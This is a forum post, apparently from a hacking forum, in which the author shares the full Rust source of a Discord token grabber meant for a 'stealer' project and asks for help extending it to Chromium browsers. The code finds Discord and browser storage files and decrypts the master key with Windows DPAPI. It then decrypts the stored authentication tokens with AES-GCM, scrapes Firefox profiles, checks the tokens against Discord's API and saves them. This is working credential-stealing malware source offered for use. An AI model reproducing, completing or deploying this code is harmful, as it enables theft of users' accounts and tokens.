Hello, I have recently started to develop a Discord token grabber for the Rust stealer project. Previously, I had created one, but it only supported decrypted tokens, and that method has since been patched[.] The process of decrypting Discord tokens is now similar to that of decrypting data from Chromium-based browsers, and my code for this is working well. Additionally, my code can successfully extract tokens from Gecko-based browsers. However, I have a problem with Chromium-based browsers, the encrypted token pattern that I'm using only works for the Discord clients. Does anyone have any ideas on how to extract Discord tokens from Chromium-based browsers? I would be extremely grateful for any help or tip that could contribute in implementing this feature.
P.S. For now, this code is intended for debugging purposes, so there is a need to change many things before it could be used in real scenario!
cargo.toml
main.rs
P.S. For now, this code is intended for debugging purposes, so there is a need to change many things before it could be used in real scenario!
cargo.toml
Код:
[package]
name = "discord_token_grabber"
version = "0.1.0"
edition = "2021"
[dependencies]
aes-gcm = "0.10.3"
base64 = "0.22.0"
regex = "1.10.4"
serde_json = "1.0.116"
walkdir = "2.5.0"
reqwest = { version = "0.12.4", features = ["blocking"] }
generic-array = "0.14.6"
aead = "0.5.1"
aes = "0.8.2"
[dependencies.windows]
version = "0.51"
features = [
"Win32_Security_Cryptography",
"Win32_Foundation",
]
main.rs
Код:
use std::collections::HashMap;
use std::env;
use std::fs;
use std::path::Path;
use std::fs::File;
use std::io::{Error, Write};
use base64::engine::general_purpose::STANDARD;
use aes_gcm::aead::Aead;
use aes_gcm::{Aes256Gcm, Key};
use base64::Engine;
use regex::Regex;
use serde_json::Value;
use walkdir::WalkDir;
use std::slice;
use aes_gcm::KeyInit;
use windows::Win32::Security::Cryptography::{CryptUnprotectData, CRYPT_INTEGER_BLOB};
use std::io::ErrorKind;
fn main() {
let mut extract_tokens = ExtractTokens::new();
let mut tokens = extract_tokens.extract().to_vec();
tokens.sort();
tokens.dedup();
println!("Extracted Tokens: {:?}", tokens);
let valid_tokens = validate_tokens(&tokens);
println!("Valid Tokens: {:?}", valid_tokens);
// Save valid tokens to file
let file_path = "valid_tokens.txt";
match save_tokens_to_file(&valid_tokens, file_path) {
Ok(_) => println!("Valid tokens saved to file: {}", file_path),
Err(e) => println!("Error saving tokens to file: {}", e),
}
}
fn validate_tokens(tokens: &[String]) -> Vec<String> {
let base_url = "https://discord.com/api/v9/users/@me";
let client = reqwest::blocking::Client::new();
let mut valid_tokens = Vec::new();
for token in tokens {
let request = client.get(base_url)
.header("Authorization", token)
.send();
match request {
Ok(response) => {
if response.status().is_success() {
valid_tokens.push(token.clone());
}
}
Err(e) => println!("Error validating token: {}", e),
}
}
valid_tokens
}
fn save_tokens_to_file(tokens: &[String], file_path: &str) -> Result<(), Error> {
if !tokens.is_empty() {
let mut file = File::create(file_path)?;
for token in tokens {
writeln!(file, "{}", token)?;
}
Ok(())
} else {
Err(Error::new(ErrorKind::Other, "FUCK"))
}
}
struct ExtractTokens {
appdata: String,
roaming: String,
regexp: Regex,
regexp_enc: Regex,
tokens: Vec<String>,
master_keys: HashMap<String, Vec<u8>>,
}
impl ExtractTokens {
fn new() -> Self {
Self {
appdata: env::var("LOCALAPPDATA").unwrap_or_default(),
roaming: env::var("APPDATA").unwrap_or_default(),
regexp: Regex::new(r"[\w-]{20,30}\.[\w-]{6}\.[\w-]{20,100}").unwrap(), // for decrypted toknes working
regexp_enc: Regex::new(r#"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*"#).unwrap(), // for crypted tokens AES + CryptUnprotectData + Masterkey fro Local Stage
tokens: Vec::new(),
master_keys: HashMap::new(),
}
}
fn extract(&mut self) -> &Vec<String> {
let paths = self.get_paths();
for (name, (local_state_path, token_path)) in &paths {
if let Some(decrypted_master_key) = self.get_master_key(&local_state_path) {
self.master_keys.insert(token_path.clone(), decrypted_master_key);
for entry in WalkDir::new(token_path).into_iter().filter_map(|e| e.ok()) {
let file_name = entry.file_name().to_string_lossy();
if !file_name.ends_with("log") && !file_name.ends_with("ldb") {
continue;
}
let file_content = match fs::read(entry.path()) {
Ok(content) => content,
Err(err) => {
println!("Error reading file {}: {}", entry.path().display(), err);
continue;
}
};
let file_content_str = String::from_utf8_lossy(&file_content);
println!("Processing file: {}", entry.path().display());
if let Some(decrypted_master_key) = self.master_keys.get(token_path) {
for cap in self.regexp_enc.captures_iter(&file_content_str) {
let encoded = cap[0].split("dQw4w9WgXcQ:").collect::<Vec<&str>>()[1].to_string();
println!("Encoded token: {}", encoded);
match self.decrypt_val(&encoded, decrypted_master_key) {
Ok(token) => {
println!("Found encrypted token: {}", token);
self.tokens.push(token);
}
Err(e) => {
println!("Error decrypting token: {}", e);
}
}
}
} else {
for cap in self.regexp.captures_iter(&file_content_str) {
let token = cap[0].to_string();
println!("Found token regexp_v1: {}", token);
self.tokens.push(token);
}
}
}
}
}
let firefox_profiles_path = format!("{}\\Mozilla\\Firefox\\Profiles", self.roaming);
if Path::new(&firefox_profiles_path).exists() {
for entry in WalkDir::new(firefox_profiles_path).into_iter().filter_map(|e| e.ok()) {
let file_name = entry.file_name().to_string_lossy();
if !file_name.ends_with(".sqlite") {
continue;
}
let file_content = match fs::read(entry.path()) {
Ok(content) => content,
Err(err) => {
println!("Error reading Firefox profile file {}: {}", entry.path().display(), err);
continue;
}
};
let file_content_str = String::from_utf8_lossy(&file_content);
println!("Processing Firefox profile file: {}", entry.path().display());
for cap in self.regexp.captures_iter(&file_content_str) {
let token = cap[0].to_string();
println!("Found token in Firefox profile regexp_v1: {}", token);
self.tokens.push(token);
}
}
} else {
println!("Firefox profiles path does not exist: {}", firefox_profiles_path);
}
println!("Paths: {:?}", self.get_paths());
&self.tokens
}
fn get_paths(&self) -> HashMap<String, (String, String)> {
let mut paths = HashMap::new();
paths.insert(
"Discord".to_string(),
(
format!("{}\\discord\\Local State", self.roaming),
format!("{}\\discord\\Local Storage\\leveldb", self.roaming),
),
);
paths.insert(
"Chrome".to_string(),
(
format!("{}\\Google\\Chrome\\User Data\\Local State", self.appdata),
format!("{}\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb", self.appdata),
),
);
paths.insert(
"Microsoft Edge".to_string(),
(
format!("{}\\Microsoft\\Edge\\User Data\\Local State", self.appdata),
format!("{}\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb", self.appdata),
),
);
paths.insert(
"Yandex".to_string(),
(
format!("{}\\Yandex\\YandexBrowser\\User Data\\Local State", self.appdata),
format!("{}\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb", self.appdata),
),
);
paths
}
fn get_master_key(&self, path: &str) -> Option<Vec<u8>> {
println!("Attempting to get master key from: {}", path);
let contents = match fs::read(path) {
Ok(contents) => contents,
Err(err) => {
println!("Error reading Local State file {}: {}", path, err);
return None;
}
};
let file_content_str = String::from_utf8_lossy(&contents);
let local_state: Value = match serde_json::from_str(&file_content_str) {
Ok(local_state) => local_state,
Err(err) => {
println!("Error parsing Local State JSON: {}", err);
return None;
}
};
let master_key_base64 = match local_state["os_crypt"]["encrypted_key"].as_str() {
Some(key) => key,
None => {
println!("Missing encrypted_key in local_state");
return None;
}
};
println!("Encrypted master key: {}", master_key_base64);
let mut master_key = match STANDARD.decode(master_key_base64) {
Ok(key) => key,
Err(err) => {
println!("Error decoding base64 master key: {}", err);
return None;
}
};
println!("Decoded master key: {:?}", master_key);
// Remove first 5 bytes from master key (WE NEED IT OTHERSIWE THERE IS ERROR 0x8007000D = data is invalid)
let trimed_master_key = master_key[5..].to_vec();
// Decrypt master key using CryptUnprotectData
let mut data_in = CRYPT_INTEGER_BLOB {
cbData: trimed_master_key.len() as u32,
pbData: trimed_master_key.as_ptr() as *mut _,
};
#[repr(C)]
struct DataBlob {
cb_data: u32,
pb_data: *mut u8,
}
let mut data_out = DataBlob {
cb_data: 0,
pb_data: std::ptr::null_mut(),
};
let result = unsafe {
CryptUnprotectData(
&mut data_in,
None,
None,
None,
None,
0,
&mut data_out as *mut _ as *mut _,
)
};
if result.is_err() {
println!("Error decrypting master key: {}", result.unwrap_err());
return None;
}
let decrypted_master_key = unsafe {
slice::from_raw_parts(data_out.pb_data, data_out.cb_data as usize).to_vec()
};
println!("Decrypted master key: {:?}", decrypted_master_key);
Some(decrypted_master_key)
}
fn decrypt_val(&self, encoded: &str, decrypted_master_key: &[u8]) -> Result<String, Error> {
println!("Attempting to decrypt: {}", encoded);
let decoded = match STANDARD.decode(encoded) {
Ok(decoded) => decoded,
Err(_) => {
println!("Error decoding the encoded string");
return Err(Error::new(ErrorKind::InvalidData, "Failed to decode encoded string"));
}
};
println!("Decoded value: {:?}", decoded);
let iv = &decoded[3..15];
let payload = &decoded[15..];
println!("IV: {:?}", iv);
println!("Payload: {:?}", payload);
let key = Key::<Aes256Gcm>::from_slice(decrypted_master_key);
let cipher = Aes256Gcm::new(key);
let decrypted_pass = match cipher.decrypt(iv.into(), payload) {
Ok(decrypted) => decrypted,
Err(e) => {
println!("Error decrypting token: {}", e);
return Err(Error::new(ErrorKind::InvalidData, format!("Failed to decrypt token: {}", e)));
}
};
println!("Decrypted value (with auth tag): {:?}", decrypted_pass);
// Remove last 16 bytes (authentication tag) (DO NOT FUCKING DO IT, IT WILL FUCK DECRYPTION PART, IDK I SAW THIS CODE IN FEW SAMPLES, but this code is still here just in case)
//let decrypted_pass = &decrypted_pass[..decrypted_pass.len() - 16];
println!("Decrypted value (without auth tag): {:?}", decrypted_pass);
// Convert the decrypted bytes to string
let decrypted_token = match String::from_utf8(decrypted_pass.to_vec()) {
Ok(token) => token,
Err(e) => {
println!("Error converting decrypted bytes to string: {}", e);
return Err(Error::new(ErrorKind::InvalidData, format!("Failed to convert decrypted bytes to string: {}", e)));
}
};
println!("Decrypted token: {}", decrypted_token);
Ok(decrypted_token)
}
}